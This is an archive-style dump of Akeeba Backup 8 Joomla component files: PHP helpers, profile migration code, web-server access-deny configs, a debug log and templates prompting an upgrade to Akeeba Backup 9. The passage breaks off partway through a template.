		foreach ($profiles as $profile)
		{
			// Initialization
			$dirty = false;

			// Load the profile configuration
			\Akeeba\Engine\Platform::getInstance()->load_configuration($profile);
			$config = \Akeeba\Engine\Factory::getConfiguration();

			// -- Migrate obsolete "s3" engine to "amazons3"
			$postProcType = $config->get('akeeba.advanced.postproc_engine', '');

			if ($postProcType == 's3')
			{
				$config->setKeyProtection('akeeba.advanced.postproc_engine', false);
				$config->setKeyProtection('engine.postproc.amazons3.signature', false);
				$config->setKeyProtection('engine.postproc.amazons3.accesskey', false);
				$config->setKeyProtection('engine.postproc.amazons3.secretkey', false);
				$config->setKeyProtection('engine.postproc.amazons3.usessl', false);
				$config->setKeyProtection('engine.postproc.amazons3.bucket', false);
				$config->setKeyProtection('engine.postproc.amazons3.directory', false);
				$config->setKeyProtection('engine.postproc.amazons3.rrs', false);
				$config->setKeyProtection('engine.postproc.amazons3.customendpoint', false);
				$config->setKeyProtection('engine.postproc.amazons3.legacy', false);

				$config->set('akeeba.advanced.postproc_engine', 'amazons3');
				$config->set('engine.postproc.amazons3.signature', 's3');
				$config->set('engine.postproc.amazons3.accesskey', $config->get('engine.postproc.s3.accesskey'));
				$config->set('engine.postproc.amazons3.secretkey', $config->get('engine.postproc.s3.secretkey'));
				$config->set('engine.postproc.amazons3.usessl', $config->get('engine.postproc.s3.usessl'));
				$config->set('engine.postproc.amazons3.bucket', $config->get('engine.postproc.s3.bucket'));
				$config->set('engine.postproc.amazons3.directory', $config->get('engine.postproc.s3.directory'));
				$config->set('engine.postproc.amazons3.rrs', $config->get('engine.postproc.s3.rrs'));
				$config->set('engine.postproc.amazons3.customendpoint', $config->get('engine.postproc.s3.customendpoint'));
				$config->set('engine.postproc.amazons3.legacy', $config->get('engine.postproc.s3.legacy'));

				$dirty = true;
			}

			// Fix profiles with invalid embedded installer settings
			$embeddedInstaller = $config->get('akeeba.advanced.embedded_installer');

			if (empty($embeddedInstaller) || ($embeddedInstaller == 'angie-joomla') || (
					(substr($embeddedInstaller, 0, 5) != 'angie') && ($embeddedInstaller != 'none')
				))
			{
				$config->setKeyProtection('akeeba.advanced.embedded_installer', false);
				$config->set('akeeba.advanced.embedded_installer', 'angie');
				$dirty = true;
			}

			// Save dirty records
			if ($dirty)
			{
				\Akeeba\Engine\Platform::getInstance()->save_configuration($profile);
			}
		}
	}

	/**
	 * Remove FOF 2.x update sites
	 */
	private function removeFOFUpdateSites()
	{
		$db = F0FPlatform::getInstance()->getDbo();
		$query = $db->getQuery(true)
					->delete($db->qn('#__update_sites_extensions'))
					->where($db->qn('location') . ' = ' . $db->q('http://cdn.akeebabackup.com/updates/fof.xml'));
		try
		{
			$db->setQuery($query)->execute();
		}
		catch (\Exception $e)
		{
			// Do nothing on failure
		}

	}
}com_akeeba/backup/web.config000060400000002247152455305260012033 0ustar00<?xml version="1.0"?>
<!--
This file was generated automatically by the Akeeba Backup Engine

DO NOT REMOVE THIS FILE

This file makes sure that your backup output directory is not directly accessible from the web if you are using the
Microsoft Internet Information Services (IIS) web server, version 7 or later. This prevents unauthorized access to your
backup archive files and backup log files. Removing this file could have security implications for your site.

As noted above, this only works on IIS 7 or later.
See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions

You are strongly advised to never delete or modify any of the files automatically created in this folder by the
Akeeba Backup Engine, namely:

* .htaccess
* web.config
* index.html
* index.htm
* index.php

-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>com_akeeba/backup/.htaccess000060400000001465152455305260011666 0ustar00## This file was generated automatically by the Akeeba Backup Engine
##
## DO NOT REMOVE THIS FILE
##
## This file makes sure that your backup output directory is not directly accessible from the web if you are using
## the Apache, Lighttpd and Litespeed web server. This prevents unauthorized access to your backup archive files and
## backup log files. Removing this file could have security implications for your site.
##
## You are strongly advised to never delete or modify any of the files automatically created in this folder by the
## Akeeba Backup Engine, namely:
##
## * .htaccess
## * web.config
## * index.html
## * index.htm
## * index.php
##
<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>com_akeeba/backup/index.htm000060400000000257152455305260011707 0ustar00<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <title>Access Denied</title>
  </head>
  <body>
	  <h1>Access Denied</h1>
  </body>
</html>com_akeeba/backup/index.html000060400000000066152455305260012061 0ustar00<html><head><title></title></head><body></body></html>com_akeeba/backup/akeeba.log.php000064400000010067152455305260012573 0ustar00DEBUG   |20260828 09:08:05| -- Resetting Akeeba Engine factory (backend.id-20260828-090805-509758)
DEBUG   |20260828 09:08:05|Fetching filter data from database
DEBUG   |20260828 09:08:05|Loading filters
DEBUG   |20260828 09:08:05|-- Loading filter Regexskipdirs
DEBUG   |20260828 09:08:05|-- Loading filter Skipdirs
DEBUG   |20260828 09:08:05|-- Loading filter Regexdirectories
DEBUG   |20260828 09:08:05|-- Loading filter Tables
DEBUG   |20260828 09:08:05|-- Loading filter Regexskipfiles
DEBUG   |20260828 09:08:05|-- Loading filter Regextables
DEBUG   |20260828 09:08:05|-- Loading filter Regextabledata
DEBUG   |20260828 09:08:05|-- Loading filter Multidb
DEBUG   |20260828 09:08:05|-- Loading filter Skipfiles
DEBUG   |20260828 09:08:05|-- Loading filter Tabledata
DEBUG   |20260828 09:08:05|-- Loading filter Directories
DEBUG   |20260828 09:08:05|-- Loading filter Regexfiles
DEBUG   |20260828 09:08:05|-- Loading filter Extradirs
DEBUG   |20260828 09:08:05|-- Loading filter Incremental
DEBUG   |20260828 09:08:05|-- Loading filter Tablesalwaysskipped
DEBUG   |20260828 09:08:05|-- Loading filter Files
DEBUG   |20260828 09:08:05|-- Loading filter Joomlaskipfiles
DEBUG   |20260828 09:08:05|-- Loading filter Excludetabledata
DEBUG   |20260828 09:08:05|-- Loading filter Joomlaskipdirs
DEBUG   |20260828 09:08:05|-- Loading filter Cvsfolders
DEBUG   |20260828 09:08:05|-- Loading filter Siteroot
DEBUG   |20260828 09:08:05|-- Loading filter Systemcachefiles
DEBUG   |20260828 09:08:05|-- Loading filter Libraries
DEBUG   |20260828 09:08:05|-- Loading filter Sitedb
DEBUG   |20260828 09:08:05|-- Loading filter Excludefiles
DEBUG   |20260828 09:08:05|-- Loading filter Excludefolders
DEBUG   |20260828 09:08:05|Loading optional filters
DEBUG   |20260828 09:08:05|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20260828 09:08:05|-- Loading optional filter Stack\StackHoststats
DEBUG   |20260828 09:08:05|-- Loading optional filter Stack\StackFinder
DEBUG   |20260828 09:08:05|-- Loading optional filter Stack\StackActionlogs
DEBUG   |20260828 09:56:34| -- Resetting Akeeba Engine factory (backend.id-20260828-095634-74799)
DEBUG   |20260828 09:56:34|Fetching filter data from database
DEBUG   |20260828 09:56:34|Loading filters
DEBUG   |20260828 09:56:34|-- Loading filter Regexskipdirs
DEBUG   |20260828 09:56:34|-- Loading filter Skipdirs
DEBUG   |20260828 09:56:34|-- Loading filter Regexdirectories
DEBUG   |20260828 09:56:34|-- Loading filter Tables
DEBUG   |20260828 09:56:34|-- Loading filter Regexskipfiles
DEBUG   |20260828 09:56:34|-- Loading filter Regextables
DEBUG   |20260828 09:56:34|-- Loading filter Regextabledata
DEBUG   |20260828 09:56:34|-- Loading filter Multidb
DEBUG   |20260828 09:56:34|-- Loading filter Skipfiles
DEBUG   |20260828 09:56:34|-- Loading filter Tabledata
DEBUG   |20260828 09:56:34|-- Loading filter Directories
DEBUG   |20260828 09:56:34|-- Loading filter Regexfiles
DEBUG   |20260828 09:56:34|-- Loading filter Extradirs
DEBUG   |20260828 09:56:34|-- Loading filter Incremental
DEBUG   |20260828 09:56:34|-- Loading filter Tablesalwaysskipped
DEBUG   |20260828 09:56:34|-- Loading filter Files
DEBUG   |20260828 09:56:34|-- Loading filter Joomlaskipfiles
DEBUG   |20260828 09:56:34|-- Loading filter Excludetabledata
DEBUG   |20260828 09:56:34|-- Loading filter Joomlaskipdirs
DEBUG   |20260828 09:56:34|-- Loading filter Cvsfolders
DEBUG   |20260828 09:56:34|-- Loading filter Siteroot
DEBUG   |20260828 09:56:34|-- Loading filter Systemcachefiles
DEBUG   |20260828 09:56:34|-- Loading filter Libraries
DEBUG   |20260828 09:56:34|-- Loading filter Sitedb
DEBUG   |20260828 09:56:34|-- Loading filter Excludefiles
DEBUG   |20260828 09:56:34|-- Loading filter Excludefolders
DEBUG   |20260828 09:56:34|Loading optional filters
DEBUG   |20260828 09:56:34|-- Loading optional filter Stack\StackErrorlogs
DEBUG   |20260828 09:56:34|-- Loading optional filter Stack\StackHoststats
DEBUG   |20260828 09:56:34|-- Loading optional filter Stack\StackFinder
DEBUG   |20260828 09:56:34|-- Loading optional filter Stack\StackActionlogs
com_akeeba/Helper/.htaccess000060400000000246152455305260011634 0ustar00<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
com_akeeba/Helper/Utils.php000060400000007126152455305260011653 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Helper;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Uri\Uri;
use Joomla\Filter\InputFilter;

class Utils
{
	/**
	 * Returns the relative path of directory $to to root path $from
	 *
	 * @param   string  $from  Root directory
	 * @param   string  $to    The directory whose path we want to find relative to $from
	 *
	 * @return  string  The relative path
	 */
	public static function getRelativePath($from, $to)
	{
		// some compatibility fixes for Windows paths
		$from = is_dir($from) ? rtrim($from, '\/') . '/' : $from;
		$to   = is_dir($to) ? rtrim($to, '\/') . '/' : $to;
		$from = str_replace('\\', '/', $from);
		$to   = str_replace('\\', '/', $to);

		$from    = explode('/', $from);
		$to      = explode('/', $to);
		$relPath = $to;

		foreach ($from as $depth => $dir)
		{
			// find first non-matching dir
			if ($dir === $to[$depth])
			{
				// ignore this directory
				array_shift($relPath);

				continue;
			}

			// Get number of remaining dirs to $from
			$remaining = count($from) - $depth;

			if ($remaining > 1)
			{
				// add traversals up to first matching dir
				$padLength = (count($relPath) + $remaining - 1) * -1;
				$relPath   = array_pad($relPath, $padLength, '..');

				break;
			}

			$relPath[0] = './' . $relPath[0];
		}

		return implode('/', $relPath);
	}

	/**
	 * Escapes a string for use with Javascript
	 *
	 * @param   string  $string  The string to escape
	 * @param   string  $extras  The characters to escape
	 *
	 * @return  string
	 */
	static function escapeJS($string, $extras = '')
	{
		// Make sure we escape single quotes, slashes and brackets
		if (empty($extras))
		{
			$extras = "'\\[]";
		}

		return addcslashes($string, $extras);
	}

	/**
	 * Safely decode a return URL, used in the Backup view.
	 *
	 * Return URLs can have two sources:
	 * - The Backup on Update plugin. In this case the URL is base sixty four encoded and we need to decode it first.
	 * - A custom backend menu item. In this case the URL is a simple string which does not need decoding.
	 *
	 * Further to that, we have to make a few security checks:
	 * - The URL must be internal, i.e. starts with our site's base URL or index.php (this check is executed by Joomla)
	 * - It must not contain single quotes, double quotes, lower than or greater than signs (could be used to execute
	 *   arbitrary JavaScript).
	 *
	 * If any of these violations is detected we return an empty string.
	 *
	 * @param   ?string  $returnUrl
	 *
	 * @return  string
	 */
	static function safeDecodeReturnUrl($returnUrl)
	{
		// Nulls and non-strings are not allowed
		if (is_null($returnUrl) || !is_string($returnUrl))
		{
			return '';
		}

		// Make sure it's not an empty string
		$returnUrl = trim($returnUrl);

		if (empty($returnUrl))
		{
			return '';
		}

		// Decode a base sixty four encoded string.
		$filter  = new InputFilter();
		$encoded = $filter->clean($returnUrl, 'base64');

		if (($returnUrl == $encoded) && (strpos($returnUrl, 'index.php') === false))
		{
			$possibleReturnUrl = base64_decode($returnUrl);

			if ($possibleReturnUrl !== false)
			{
				$returnUrl = $possibleReturnUrl;
			}
		}

		// Check if it's an internal URL
		if (!Uri::isInternal($returnUrl))
		{
			return '';
		}

		$disallowedCharacters = ['"', "'", '>', '<'];

		foreach ($disallowedCharacters as $check)
		{
			if (strpos($returnUrl, $check) !== false)
			{
				return '';
			}
		}

		return $returnUrl;
	}
}
com_akeeba/Helper/Upgrade.php000060400000002410152455305260012131 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Helper;

use FOF40\Container\Container;

class Upgrade
{
	public static function getAkeebaBackup8ExtensionId(): int
	{
		return self::findExtensionId('pkg_akeeba', 'package')
			?: self::findExtensionId('com_akeeba', 'component');
	}

	/**
	 * Gets the ID of an extension
	 *
	 * @param   string  $element  Extension element, e.g. com_foo, mod_foo, lib_foo, pkg_foo or foo (CAUTION: plugin,
	 *                            file!)
	 * @param   string  $type     Extension type: component, module, library, package, plugin or file
	 *
	 * @return  int  Extension ID or 0 on failure
	 */
	private static function findExtensionId($element, $type = 'package')
	{
		$db    = Container::getInstance('com_akeeba')->db;
		$query = $db->getQuery(true)
			->select($db->qn('extension_id'))
			->from($db->qn('#__extensions'))
			->where($db->qn('element') . ' = ' . $db->q($element))
			->where($db->qn('type') . ' = ' . $db->q($type));

		try
		{
			$id = $db->setQuery($query, 0, 1)->loadResult();
		}
		catch (\Exception $e)
		{
			$id = 0;
		}

		return empty($id) ? 0 : (int) $id;
	}

}com_akeeba/Helper/web.config000060400000001025152455305260011776 0ustar00<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>com_akeeba/Helper/SecretWord.php000060400000006315152455305260012633 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Helper;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Engine\Factory;
use FOF40\Container\Container;
use FOF40\Params\Params;

/**
 * A helper to handle potentially encrypted Secret Word settings
 *
 * @since       5.5.2
 */
abstract class SecretWord
{
	/**
	 * Enforce (reversible) encryption for the component setting $settingsKey
	 *
	 * @param   Params  $params       The component's parameters object
	 * @param   string  $settingsKey  The key for the setting containing the secret word
	 *
	 * @return  void
	 *
	 * @since   5.5.2
	 */
	public static function enforceEncryption(Params $params, $settingsKey)
	{
		// If encryption is not enabled in the Engine we can't encrypt the Secret Word
		if ($params->get('useencryption', -1) == 0)
		{
			return;
		}

		// If encryption is not supported on this server we can't encrypt the Secret Word
		if (!Factory::getSecureSettings()->supportsEncryption())
		{
			return;
		}

		// Get the raw version of frontend_secret_word and check if it has a valid encryption signature
		$raw             = $params->get($settingsKey, '');
		$signature       = substr($raw, 0, 12);
		$validSignatures = array('###AES128###', '###CTR128###');

		// If the setting is already encrypted I have nothing to do here
		if (in_array($signature, $validSignatures))
		{
			return;
		}

		// The setting was NOT encrypted. I need to encrypt it.
		$secureSettings = Factory::getSecureSettings();
		$encrypted      = $secureSettings->encryptSettings($raw);

		// Finally, I need to save it back to the database
		$params->set($settingsKey, $encrypted);
		$params->save();
	}

	/**
	 * Forcibly store the Secret Word settings $settingsKey unencrypted in the database. This is meant to be called when
	 * the user disables settings encryption. Since the encryption key will be deleted we need to decrypt the Secret
	 * Word at the same time as the Engine settings. Otherwise we will never be able to access it again.
	 *
	 * @param   Params       $params         The component parameters object
	 * @param   string       $settingsKey    The key of the Secret Word parameter
	 * @param   string|null  $encryptionKey  (Optional) The AES key with which to decrypt the parameter
	 *
	 * @return  void
	 *
	 * @since   5.5.2
	 */
	public static function enforceDecrypted(Params $params, $settingsKey, $encryptionKey = null)
	{
		// Get the raw version of frontend_secret_word and check if it has a valid encryption signature
		$raw             = $params->get($settingsKey, '');
		$signature       = substr($raw, 0, 12);
		$validSignatures = array('###AES128###', '###CTR128###');

		// If the setting is not already encrypted I have nothing to decrypt
		if (!in_array($signature, $validSignatures))
		{
			return;
		}

		// The setting was encrypted. I need to decrypt it.
		$secureSettings = Factory::getSecureSettings();
		$encrypted      = $secureSettings->decryptSettings($raw, $encryptionKey);

		// Finally, I need to save it back to the database
		$params->set($settingsKey, $encrypted);
		$params->save();
	}
}
com_akeeba/Helper/Status.php000060400000015137152455305260012037 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Helper;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use FOF40\Container\Container;
use FOF40\Date\Date;
use Joomla\CMS\Language\Text;

/**
 * Status helper. Used by the Control Panel and the backup page to report detected warnings which may impact your backup
 * experience.
 */
class Status
{
	/**
	 * Are we ready to take a new backup?
	 *
	 * @var  bool
	 */
	public $status = false;

	/**
	 * Is the output directory writable?
	 *
	 * @var  bool
	 */
	public $outputWritable = false;

	/**
	 * Is the temporary directory writable?
	 *
	 * @var  bool
	 */
	public $tempWritable = false;

	/**
	 * The detected warnings
	 *
	 * @var  array
	 */
	protected $warnings = [];

	/**
	 * Public constructor. Automatically initializes the object with the status and warnings.
	 *
	 * @return  self
	 */
	public function __construct()
	{
		$this->status   = Factory::getConfigurationChecks()->getShortStatus();
		$this->warnings = Factory::getConfigurationChecks()->getDetailedStatus();
	}

	/**
	 * Get a Singleton instance
	 *
	 * @return  self
	 */
	public static function &getInstance()
	{
		static $instance = null;

		if (empty($instance))
		{
			$instance = new self();
		}

		return $instance;
	}

	/**
	 * Returns the HTML for the backup status cell
	 *
	 * @return  string  HTML
	 */
	public function getStatusCell()
	{
		$status = Factory::getConfigurationChecks()->getShortStatus();
		$quirks = Factory::getConfigurationChecks()->getDetailedStatus();

		if ($status && empty($quirks))
		{
			$html = '<div class="akeeba-block--success"><p>' . Text::_('COM_AKEEBA_CPANEL_LBL_STATUS_OK') . '</p></div>';
		}
		elseif ($status && !empty($quirks))
		{
			$html = '<div class="akeeba-block--warning"><p>' . Text::_('COM_AKEEBA_CPANEL_LBL_STATUS_WARNING') . '</p></div>';
		}
		else
		{
			$html = '<div class="akeeba-block--failure"><p>' . Text::_('COM_AKEEBA_CPANEL_LBL_STATUS_ERROR') . '</p></div>';
		}

		return $html;
	}

	/**
	 * Returns HTML for the warnings (status details)
	 *
	 * @param   bool  $onlyErrors  Should I only return errors? If false (default) errors AND warnings are returned.
	 *
	 * @return  string  HTML
	 */
	public function getQuirksCell($onlyErrors = false)
	{
		$html   = '<p>' . Text::_('COM_AKEEBA_CPANEL_WARNING_QNONE') . '</p>';
		$quirks = Factory::getConfigurationChecks()->getDetailedStatus();

		if (!empty($quirks))
		{
			$html = "<ul>\n";

			foreach ($quirks as $quirk)
			{
				$html .= $this->renderWarnings($quirk, $onlyErrors);
			}

			$html .= "</ul>\n";
		}

		return $html;
	}

	/**
	 * Returns a boolean value, indicating if warnings have been detected.
	 *
	 * @return  bool  True if there is at least one detected warnings
	 */
	public function hasQuirks()
	{
		$quirks = Factory::getConfigurationChecks()->getDetailedStatus();

		return !empty($quirks);
	}

	/**
	 * Returns the details of the latest backup as HTML
	 *
	 * @return  string  HTML
	 */
	public function getLatestBackupDetails()
	{
		$db    = Container::getInstance('com_akeeba')->db;
		$query = $db->getQuery(true)
			->select('MAX(' . $db->qn('id') . ')')
			->from($db->qn('#__ak_stats'));
		$db->setQuery($query);
		$id = $db->loadResult();

		$backup_types = Factory::getEngineParamsProvider()->loadScripting();

		if (empty($id))
		{
			return '<p class="label">' . Text::_('COM_AKEEBA_BACKUP_STATUS_NONE') . '</p>';
		}

		$record = Platform::getInstance()->get_statistics($id);

		switch ($record['status'])
		{
			case 'run':
				$status      = Text::_('COM_AKEEBA_BUADMIN_LABEL_STATUS_PENDING');
				$statusClass = "akeeba-label--warning";
				break;

			case 'fail':
				$status      = Text::_('COM_AKEEBA_BUADMIN_LABEL_STATUS_FAIL');
				$statusClass = "akeeba-label--failure";
				break;

			case 'complete':
				$status      = Text::_('COM_AKEEBA_BUADMIN_LABEL_STATUS_OK');
				$statusClass = "akeeba-label--success";
				break;

			default:
				$status      = '';
				$statusClass = '';
		}

		switch ($record['origin'])
		{
			case 'frontend':
				$origin = Text::_('COM_AKEEBA_BUADMIN_LABEL_ORIGIN_FRONTEND');
				break;

			case 'backend':
				$origin = Text::_('COM_AKEEBA_BUADMIN_LABEL_ORIGIN_BACKEND');
				break;

			case 'cli':
				$origin = Text::_('COM_AKEEBA_BUADMIN_LABEL_ORIGIN_CLI');
				break;

			default:
				$origin = '&ndash;';
				break;
		}

		$type = '';

		if (array_key_exists($record['type'], $backup_types['scripts']))
		{
			$type = Platform::getInstance()->translate($backup_types['scripts'][$record['type']]['text']);
		}

		$container = Container::getInstance('com_akeeba');
		$startTime = new Date($record['backupstart'], 'UTC');
		$tz        = new \DateTimeZone($container->platform->getUser()->getParam('timezone', $container->platform->getConfig()->get('offset', 'UTC')));
		$startTime->setTimezone($tz);

		$html = '<table class="akeeba-table--striped">';
		$html .= '<tr><td>' . Text::_('COM_AKEEBA_BUADMIN_LABEL_START') . '</td><td>' . $startTime->format(Text::_('DATE_FORMAT_LC2'), true) . '</td></tr>';
		$html .= '<tr><td>' . Text::_('COM_AKEEBA_BUADMIN_LABEL_DESCRIPTION') . '</td><td>' . $record['description'] . '</td></tr>';
		$html .= '<tr><td>' . Text::_('COM_AKEEBA_BUADMIN_LABEL_STATUS') . '</td><td><span class="label ' . $statusClass . '">' . $status . '</span></td></tr>';
		$html .= '<tr><td>' . Text::_('COM_AKEEBA_BUADMIN_LABEL_ORIGIN') . '</td><td>' . $origin . '</td></tr>';
		$html .= '<tr><td>' . Text::_('COM_AKEEBA_BUADMIN_LABEL_TYPE') . '</td><td>' . $type . '</td></tr>';
		$html .= '</table>';

		return $html;
	}

	/**
	 * Gets the HTML for a single line of the warnings area.
	 *
	 * @param   array  $quirk       A quirk definition array
	 * @param   bool   $onlyErrors  Should I only return errors? If false (default) errors AND warnings are returned.
	 *
	 * @return  string  HTML
	 */
	private function renderWarnings($quirk, $onlyErrors = false)
	{
		if ($onlyErrors && ($quirk['severity'] != 'critical'))
		{
			return '';
		}

		$quirk['severity'] = $quirk['severity'] == 'critical' ? 'high' : $quirk['severity'];

		if ($quirk['code'] == 400)
		{
			return sprintf("<li><a class=\"severity-%s\" href=\"%s\" target=\"_blank\">%s</a></li>\n", $quirk['severity'], 'https://www.akeeba.com/documentation/akeeba-backup-joomla/migrating-from-old-akeeba-backup.html', $quirk['description']);
		}

		return '<li><a class="severity-' . $quirk['severity'] .
			'" href="' . $quirk['help_url'] . '" target="_blank">' . $quirk['description'] . '</a>' . "</li>\n";

	}

}
com_akeeba/tmpl/ControlPanel/backup8_uninstall.blade.php000060400000002214152455305260017375 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Backup\Admin\View\ControlPanel\Html */

// Protect from unauthorized access
defined('_JEXEC') || die();

$eid = \Akeeba\Backup\Admin\Helper\Upgrade::getAkeebaBackup8ExtensionId();
$url = sprintf('index.php?option=com_installer&view=manage&filter[search]=id%%3A%d&filter[status]=&filter[client_id]=&filter[type]=&filter[folder]=&filter[core]=', $eid)

?>
<h1>🚨 Please complete your migration to Akeeba Backup 9 🚨</h1>
<p style="font-size: 1.5rem; margin: 1rem 0 0">
	Please click on Components, Akeeba Backup for Joomla!&trade;, Control Panel to open <a href="index.php?option=com_akeebabackup">Akeeba Backup 9</a>'s interface.
</p>
<p style="font-size: 1.5rem; margin: 1rem 0 0">
	Follow the instructions shown in Akeeba Backup 9 to migrate your settings and backups from Akeeba Backup 8 to Akeeba Backup 9.
</p>
<p style="font-size: 1.5rem; margin: 1rem 0 0">
	After you are done migrating please <a href="<?= $url ?>">uninstall Akeeba Backup 8</a>.
</p>
com_akeeba/tmpl/ControlPanel/profile.blade.php000060400000003250152455305260015410 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Backup\Admin\View\ControlPanel\Html */

// Protect from unauthorized access
defined('_JEXEC') || die();

/**
 * Call this template with:
 * [
 * 	'returnURL' => 'index.php?......'
 * ]
 * to set up a custom return URL
 */
?>
@jhtml('formbehavior.chosen')

<div class="akeeba-panel">
	<form action="index.php" method="post" name="switchActiveProfileForm" id="switchActiveProfileForm" class="akeeba-form--inline">
		<input type="hidden" name="option" value="com_akeeba" />
		<input type="hidden" name="view" value="ControlPanel" />
		<input type="hidden" name="task" value="SwitchProfile" />
		@if(isset($returnURL))
		<input type="hidden" name="returnurl" value="{{ $returnURL }}" />
		@endif
		<input type="hidden" name="@token(true)" value="1" />

		<div class="akeeba-form-group">
			<label>
				@lang('COM_AKEEBA_CPANEL_PROFILE_TITLE'): #{{ $this->profileId }}
			</label>

			{{-- Joomla 3.x: Chosen does not work with attached event handlers, only with inline event scripts (e.g. onchange) --}}
			@jhtml('select.genericlist', $this->profileList, 'profileid', ['list.select' => $this->profileId, 'id' => 'comAkeebaControlPanelProfileSwitch', 'list.attr' => ['class' => 'advancedSelect', 'onchange' => 'document.forms.switchActiveProfileForm.submit();']])
		</div>

		<div class="akeeba-form-group--actions">
			<button class="akeeba-btn akeeba-hidden-phone" type="submit">
				<span class="akion-forward"></span>
				@lang('COM_AKEEBA_CPANEL_PROFILE_BUTTON')
			</button>
		</div>
	</form>
</div>
com_akeeba/tmpl/ControlPanel/default.xml000060400000000557152455305260014346 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<metadata>
	<layout title="COM_AKEEBA_VIEW_CPANEL_TITLE">
		<message>
			<![CDATA[COM_AKEEBA_VIEW_CPANEL_DESC]]>
		</message>
	</layout>
</metadata>
com_akeeba/tmpl/ControlPanel/backup9_install.blade.php000060400000012017152455305260017035 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Backup\Admin\View\ControlPanel\Html */

// Protect from unauthorized access
defined('_JEXEC') || die();

if (version_compare(JVERSION, '4.1.0', 'ge'))
{
	$css = <<< CSS
#akeebaBackup8Wrapper {
    display: none;
}

CSS;

	$js = <<< JS
function akeebaBackup8RegisterWrapperReveal(e) {
    var elDiv = document.getElementById('akeebaBackup8Wrapper');
    var elUpgradeWrapper = document.getElementById('akeebaBackup8UpgradeWrapper');
    var elToggleWrapper = document.getElementById('akeebaBackup8WrapperToggleWrapper');
    var elUnsafeWrapper = document.getElementById('akeebaBackup8UnsafeWrapper');
    if (elDiv) {
        elDiv.style.display = 'block';
    }
    if (elUnsafeWrapper) {
        elUnsafeWrapper.style.display = 'block';
    }
    if (elUpgradeWrapper) {
        elUpgradeWrapper.style.display = 'none';
    }
    if (elToggleWrapper) {
        elToggleWrapper.style.display = 'none';
    }
}

document.addEventListener("DOMContentLoaded", function () {
    var elLink = document.getElementById('akeebaBackup8WrapperToggle');
    if (!elLink) return;
    elLink.addEventListener('click', akeebaBackup8RegisterWrapperReveal);
}, false);

var akeebaBackup8RegisterWrapperRevealTimer = setInterval(function () {
            if(document.readyState !== "complete") return;
            clearInterval(akeebaBackup8RegisterWrapperRevealTimer);
         }, 300);

JS;


	$this->addCssInline($css);
    $this->addJavascriptInline($js);
}

?>

<div class="akeeba-block--warning--large" id="akeebaBackup8UpgradeWrapper">
    <h1>🚨 🚨 🚨 Please upgrade to Akeeeba Backup 9 🚨 🚨 🚨</h1>
    @if (version_compare(JVERSION, '4.1.0', 'ge'))
        <p style="font-size: 1.5rem; margin: 1rem 0 0">
            You are currently using Akeeba Backup 8. This version is only meant to allow you to upgrade from Joomla 3 to Joomla 4 without losing your backup archives and settings. <strong>It is not supported for taking on restoring backups with Joomla {{ JVERSION }}</strong>.
        </p>
    @else
        <p style="font-size: 1.5rem; margin: 1rem 0 0">
            You are currently using Akeeba Backup 8. This version was only made minimally compatible with Joomla 4 to allow you to upgrade from Joomla 3 to Joomla 4 without losing your backup archives and settings. We will not provide support for Akeeba Backup 8 running on Joomla 4.0 and later.
        </p>
    @endif
    <p style="font-size: 1.5rem; margin: 1rem 0 0">
        You need to <a href="https://www.akeeba.com/download.html" target="_blank">download</a> and install Akeeba Backup 9, our Joomla 4 native version of Akeeba Backup. It is fully supported for use on Joomla 4.
    </p>
    <p style="font-size: 1.5rem; margin: 1rem 0 0">
        After installing Akeeba Backup 9 please click on Components, Akeeba Backup <small>for Joomla!&trade;</small>, Control Panel from Joomla's sidebar and follow the instructions on your screen to migrate your settings and your backups from Akeeba Backup 8.
    </p>
    <p>
